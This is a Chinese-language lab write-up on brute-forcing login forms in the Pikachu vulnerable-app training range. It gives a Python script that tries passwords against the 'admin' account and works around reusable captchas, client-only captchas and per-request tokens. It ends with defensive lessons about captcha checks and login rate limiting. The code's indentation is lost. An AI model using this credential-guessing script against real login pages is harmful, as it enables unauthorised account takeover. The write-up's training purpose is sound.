在對pikachu靶場的暴力破解進行測試時,我們可以使用burpsuite進行爆破,也可使用Python腳本進行自動化爆破
以下內容主要記錄本次使用Python進行暴力破解的思路:
通過burpsuite進行截斷,獲取客戶提交的http請求信息:

通過burpsuite截斷信息,我們可以獲取cookie及post提交的字段信息;
根據獲取到的信息編寫Python腳本:
import requests
from bs4 import BeautifulSoup
s = requests.session()
password = ['123', '456', '123456', '67899']
# 設置http請求頭部信息
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
' (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36',
'Cookie': 'PHPSESSID=of5tkhcr385na1oij0h90vr1r0'
}
req = s.get('http://pikachu.hack/vul/burteforce/bf_token.php')
# token驗證
token= BeautifulSoup(req.text,'lxml').find('input',{'name':'token'}).get('value')
for pa in password:
# 基於表單的暴力破解
# req=s.post(url='http://pikachu.hack/vul/burteforce/bf_form.php',data={'username':'admin','password':pa,'submit':'Login'})
# 驗證碼繞過(on server)未失效,可重復使用
# data = {'username': 'admin', 'password': pa, 'vcode': '14xkgk', 'submit': 'Login'}
# req = requests.post(url='http://pikachu.hack/vul/burteforce/bf_server.php',
# data=data, headers=header)
# 基於client端驗證碼,后台無校驗
# req=s.post(url='http://pikachu.hack/vul/burteforce/bf_token.php',data={'username':'admin','password':pa,'submit':'Login'})
# 基於token驗證
req=s.post(url='http://pikachu.hack/vul/burteforce/bf_token.php',data={'username':'admin','password':pa,'token':token,'submit':'Login'})
if 'success' in req.text:
print("爆破成功,用戶名:admin,密碼為:%s" % pa)
break
else:
req = s.get('http://pikachu.hack/vul/burteforce/bf_token.php')
token = BeautifulSoup(req.text, 'lxml').find('input', {'name': 'token'}).get('value')
通過分析,我們可以發現,不是存在驗證碼就是安全的,若驗證碼在不刷新頁面的情況下,可以反復使用,那么我們只需要枚舉用戶名、密碼即可。可能部分頁面存在唬人的情況,頁面存在驗證碼,但實際上后端並未對驗證碼做校驗。
較為安全的是為每次請求都生成隨機的token,在提交請求的時候,對token字段也進行校驗。通過以上代碼我們可以發現,即使是存在token的情況下, 若沒有登錄限制,我們仍然可以對用戶名等進行爆破。
